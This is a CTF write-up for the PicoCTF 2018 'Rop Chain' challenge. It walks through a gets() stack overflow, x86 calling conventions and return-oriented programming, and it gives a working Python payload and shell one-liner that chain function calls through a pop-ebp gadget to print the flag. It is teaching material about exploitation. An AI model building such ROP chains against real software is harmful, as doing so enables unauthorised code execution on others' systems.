PicoCTF 2018 - Rop Chain
Note: This article is part of our PicoCTF 2018 BinExp Guide.
Spot the Bug
vuln()
is nearly identical to the last several buffer overflow challenges, so it should be pretty clear by now that you should NEVER use gets()
.
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
Strategy
You’ve already learned how to use our control of the stack to overwrite the return address and “call” an arbitrary function. You’ve even learned how to pass arguments to a function “as-if” you had called it. And I’ve kind of ignored it until now, but there’s always been an “extra” 4 bytes (I usually use 0x55555555
) that we used to stand in for the return-address of the function we were trying to call. What you’ll learn now is how to chain “function calls” together so that we can execute even more code. In a later challenge, we’ll call around to code inside libc, giving us an almost unlimited number of possibilities in terms of what our code could do, and it wouldn’t be restricted by the code in the original binary.
bool win1 = false, win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
} // ...
}
void flag(unsigned int arg_check2) {
// ...
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
// ...
}
Observe:
- Two global variables,
win1
andwin2
, initialized to false - a function,
win_function1
that will setwin1
- a function,
win_function2
that will setwin2
if called with the correct argument - a function,
flag
that will print the flag immediately ifwin1
andwin2
are set and we call it with the correct argument
Our strategy is pretty obvious, to get the flag we need to “call” these functions in order: win_function1()
⇒ win_function2(0xBAAAAAAD)
⇒ flag(0xDEADBAAD)
. (stdout
has also been set to unbuffered, so if we immediately crash after calling flag
then it doesn’t matter because the flag will already have been printed.)
Background Info
We have written it as win_function1
⇒ win_function2
⇒ flag
, but what we are really saying is that when we return from win_function1
, we want to return into win_function2
, and when we return from win_function2
we want to return into flag
. And although it was never written that way, we’re trying to “trick” the cpu into thinking that while we were in the flag()
function, we had called win_function2()
, and then while win_function2
was running, it called win_function1()
, and while it was running it called vuln()
. Therefore, although we are in vuln()
right now, when we return we’d like to return to win_function1()
, and from there, win_function2()
, and from there flag()
.
Let’s consider this imaginary code:
void bad();
void func1()
{
bad();
}
void func2(unsigned int a)
{
func1();
}
void win(unsigned int b)
{
func2(0xAABBCCDD);
}
int main(void)
{
win(0x01020304);
}
What does this code look like when compiled? There’s an awesome online tool you can use to answer those kind of questions: Take a look.
First off, let’s examine the call to win
and draw what the stack looks like immediately after the call instruction.
main:
push 0x01020304
call win ; <- AFTER THIS
main_cleanup:
add esp, 4
Stack |
---|
&main_cleanup |
0x01020304 |
So, we push the argument first, then call the function (which will push the address of the very next instruction on to the top of the stack, this is our so-called “return address”).
Note, the return address points at an instruction that removes the 4 bytes that we pushed from the stack. The linux default calling convention (cdecl
) is caller-cleanup, which means when the stack is used to pass arguments, it is up to the caller of the function to clean them up).
Let’s keep our stack as it is and keep going:
win:
push 0xAABBCCDD
call func2 ; <- AFTER THIS
win_cleanup:
add esp, 4
nop
ret
Stack |
---|
&win_cleanup |
0xAABBCCDD |
&main_cleanup |
0x01020304 |
Remember we are picturing the stack immediately after the call
instruction.
What’s next?
func2:
call func1 ; <- AFTER THIS
func2_nop:
nop
ret
Stack |
---|
&func2_nop |
&win_cleanup |
0xAABBCCDD |
&main_cleanup |
0x01020304 |
And finally:
func1:
call bad ; <- AFTER THIS
func1_nop:
nop
ret
Stack |
---|
&func1_nop |
&func2_nop |
&win_cleanup |
0xAABBCCDD |
&main_cleanup |
0x01020304 |
Which is exactly the state of the stack when bad
is ready to return!
Now, let’s work backwards. Pretend that you’re a cpu, and you are about to execute the ret
instruction for bad()
, and the stack is exactly as show above. What is the sequence of instructions that are executed?
bad:
; ...
ret ; pops func1_nop off the stack and starts execution from there
func1_nop:
nop
ret ; pops func2_nop off the stack and starts execution from there
func2_nop:
nop
ret ; pops win_cleanup off the stack and starts execution from there
win_cleanup:
add esp, 4 ; REMOVES 0xAABBCCDD from the top of the stack
nop
ret ; pops the next value (main_cleanup) off the top of the stack and starts execution from there
main_cleanup:
add esp, 4 ; REMOVES 0x01020304 from the top of the stack
; ...
What have we learned from this thought experiment?
- We’ve learned what the stack would look like if we restructured the control-flow in an arbitrary way.
- We’ve learned how args and return addresses interleave on the stack
- We’ve learned that x86 linux calling convention is caller-cleanup
Exploitation
It may shock you to learn that we’ve already essentially solved the problem. Use the stack layout from the above example, but replace func1
with win_function1
and func2
with win_function2
and things will start making sense (you should probably run through your stack in your head as if you were about to return from vuln
, just to check). If you think you know what you’re doing already, the challenge is located at /problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47
on the shell server.
So, based on the example above, what should the stack look like when vuln()
is about to return if we want our code to execute?
Stack |
---|
&win_function1 |
&win_function2 |
&flag ??? |
0xBAAAAAAD |
&???_cleanup ??? |
0xDEADBAAD |
Well, we hit a little problem, based on the example above, we have spots for 4 return addresses instead of 3, but maybe the last one we don’t care about. Let’s pretend to be a CPU again and check if everything makes sense.
vuln:
ret ; pops win_function1 off the stack and starts execution from there
win_function1:
; ... (run the function)
ret ; pops win_function2 off the stack and starts execution from there
win_function2:
push ebp ; PUSH 4 bytes onto stack
mov ebp,esp
; ...
; stack has ebp (4 bytes), then return addr (4bytes), then 0xbaaaaaad, so this should work!
cmp DWORD PTR [ebp+0x8],0xbaaaaaad
; ...
leave ; mov esp, ebp; pop ebp; (Restores Stack, popping the 4 bytes back into ebp)
ret ; pops flag off the stack and starts execution from there
flag:
push ebp ; PUSH 4 bytes onto stack
mov ebp,esp
; ...
; PROBLEM: stack has ebp (4 bytes), then 0xbaaaaaad (4bytes), then &???_cleanup (4bytes), THEN 0xdeadbaad
cmp DWORD PTR [ebp+0x8],0xdeadbaad ; This is actually the spot for &???_cleanup ???
; ...
leave ; mov esp, ebp; pop ebp; (Restores Stack, popping the 4 bytes back into ebp)
ret ; pops the next value (0xBAAAAAAD) off the top of the stack and starts execution from there
BAAAAAAD:
; SEGFAULT
Woops. Something has gone wrong. The argument for flag
(0xdeadbaad
) is in the wrong spot, and for some reason our code started returning into 0xBAAAAAAD
, which was supposed to be an argument and not a return address? Something is obviously different from our example, but what?
The difference is that the original code would cleanup the arguments in the caller (win_cleanup
and main_cleanup
), but of course we’ve faked the call stack. Those functions never actually “called” each other, and they certainly don’t have code to “remove” arguments from the stack for functions they never called. As a result, we get stuck with this 0xBAAAAAAD
argument that has no where to go. Since 0xBAAAAAAD
is the argument to win_function2
we need to do something after win_function2
returns.
You actually have two choices right now. I’ll go over the technique that’ll help you chain together an arbitrary number of functions first, and then I’ll mention the shortcut you can use because you don’t actually care what happens after flag()
.
What we need is something to remove 4 bytes from the top of the stack. If that something removed 4 bytes, and then did a ret
instruction, we could place another return address on the stack and control where it went next. In ROP (Return-Oriented Programming), a set of instructions you’d like to have executed followed by a ret
instruction is known as a “gadget”. Let’s look and see if there is a useful gadget in our code:
080485cb <win_function1>:
80485cb: 55 push ebp
80485cc: 89 e5 mov ebp,esp
80485ce: c6 05 41 a0 04 08 01 mov BYTE PTR ds:0x804a041,0x1
80485d5: 90 nop
80485d6: 5d pop ebp ; <-- HEY. LOOK AT THIS!
80485d7: c3 ret
We found one, right there at the end of win_function1
. The great thing about this gadget is that our original buffer overflow already corrupted the ebp
register, so we don’t actually end up writing to any other registers that we might care about. (In most ROP challenges you have to be very careful about the state of your registers and stack).
Let’s see what happens when 0xBAAAAAAD
is at the top of the stack and we return into our gadget.
pop ebp ; POPS 0xBAAAAAAD off the stack
ret ; Grabs the next 4 bytes on the stack and starts executing there - How about flag()?
Stack |
---|
0xBAAAAAAD |
<something> |
<something> |
<something> |
… |
So, if we put 0xBAAAAAAD
on the stack, followed by &flag
, followed by the return address for the flag function (don’t really care), followed by the arugment for flag
, everything should work!
So, one last time, lets put together what you want your stack to look like when vuln()
returns:
Stack |
---|
&win_function1 |
&win_function2 |
&gadget |
0xBAAAAAAD |
&flag |
<DO NOT CARE> |
0xDEADBAAD |
Don’t forget, you still need to figure out how many bytes to write into buf
before you start overwriting the return address of vuln
. Plus, you should probably take this time to figure out the addresses of all the things you care about as well (the address for the gadget is shown above).
vuln:
push ebp ; 4 BYTES
mov ebp,esp
; ...
lea eax,[ebp-0x18] ; buf starts 24 (0x18) bytes before ebp
push eax
call gets
;
Which means we have 24 bytes, and then another 4 for the preserved value of ebp
, so 28 bytes overall before we start overwriting the return address.
Now, let’s write some code to fill in our buf
for us. It’ll be 28 bytes, followed by the stack layout shown above, where all the 32-bit values will be written in little-endian format.
#!/usr/bin/env python
# works with python2 or python3
import struct, os
os.write(1, b"U"*28 + struct.pack("<7L",
0x080485cb, # win_function1
0x080485d8, # win_function2
0x080485d6, # gadget
0xBAAAAAAD, # win_function2 arg
0x0804862b, # flag
0x55555555, # return add for flag (DNC)
0xDEADBAAD # flag arg
) + b"\n") # don't forget to add a newline for gets()
Finally, let’s try it out by running the problem in /problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47
on the shell server:
$ cd /problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47
$ python -c 'import struct,os; os.write(1, b"U"*28 + struct.pack("<7L", 0x080485cb, 0x080485d8, 0x080485d6, 0xBAAAAAAD, 0x0804862b, 0x55555555, 0xDEADBAAD) + b"\n")' | ./rop
Enter your input> picoCTF{===REDACTED===}
Segmentation fault (core dumped)
Wow, that was more work than I thought - Good job getting all the way through it! As a quick note, if you wanted to avoid the gadget, you could return directly into flag
, and have 0xDEADBAAD
immediately after 0xBAAAAAAD
- But it only works in this specific instance because we don’t care about the return address of flag
and there is exactly 4 extraneous bytes on the stack.
Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.